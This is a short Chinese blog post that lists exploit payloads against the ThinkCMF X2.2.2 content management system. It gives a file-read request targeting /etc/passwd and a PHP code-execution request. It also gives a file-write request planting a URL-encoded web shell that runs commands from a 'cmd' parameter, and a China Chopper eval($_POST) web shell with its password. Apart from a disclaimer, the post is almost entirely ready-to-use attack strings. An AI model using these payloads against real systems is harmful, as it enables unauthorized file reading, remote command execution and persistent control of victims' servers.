News:禁止使用本博客的技术文章、源码、工具等用于非法用途,否则后果自负。

ThinkCMF命令执行payload

jasonx 851 0 条

thinkcmf下载地址

https://github.com/thinkcmf/cmfx/archive/X2.2.2.zip

文件读取

/?a=display&templateFile=/etc/passwd

代码执行

/?a=fetch&content=<?php%20phpinfo();die();&XDEBUG_SESSION_START=10525

文件写入

?a=fetch&tem ... %27%27&content=<php>file_put_contents('x.php','%3c%3f%70%68%70%0d%0a%65%63%68%6f%20%6d%64%35%28%22%54%68%69%6e%6b%43%4d%46%22%29%3b%0d%0a%20%20%20%20%69%66%28%69%73%73%65%74%28%24%5f%52%45%51%55%45%53%54%5b%22%63%6d%64%22%5d%29%29%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%65%63%68%6f%20%22%3c%70%72%65%3e%22%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%63%6d%64%20%3d%20%28%24%5f%52%45%51%55%45%53%54%5b%22%63%6d%64%22%5d%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%73%79%73%74%65%6d%28%24%63%6d%64%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%65%63%68%6f%20%22%3c%2f%70%72%65%3e%22%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%64%69%65%3b%0d%0a%20%20%20%20%7d%0d%0a%70%68%70%69%6e%66%6f%28%29%3b%0d%0a%3f%3e')</php>

/x.php?cmd=whoami

菜刀连接

/?a=fetch&content=<?php%20eval($_POST[1]);die();&XDEBUG_SESSION_START=10525
密码1

与本文相关的文章

发表我的评论

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址